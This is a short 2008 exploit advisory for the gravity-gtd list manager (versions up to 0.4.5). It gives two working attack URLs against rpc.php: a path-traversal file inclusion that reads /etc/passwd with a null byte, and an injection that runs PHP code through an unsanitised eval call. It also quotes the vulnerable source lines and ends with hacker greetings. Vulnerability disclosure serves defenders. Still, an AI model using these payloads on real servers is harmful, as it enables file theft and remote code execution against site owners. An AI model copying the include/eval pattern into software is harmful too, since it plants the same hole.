:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ dun[at]strcpy.pl ]
#####################################################
# [ gravity-gtd <= 0.4.5 ] LFI/RCE Vulnerability #
#####################################################
#
# Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
#
# Download: http://sourceforge.net/projects/gravity-gtd/
#
# [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
# [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
#
# Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
#
# ...
# $objectName = $_REQUEST['objectname'];
#
#
# include ("../objects/class.".strtolower($objectName).".php"); // LFI
#
# eval ('$instance = new '.$objectName.'();'); // RCE
# ...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################
[ dun / 2008 ]
*******************************************************************************************
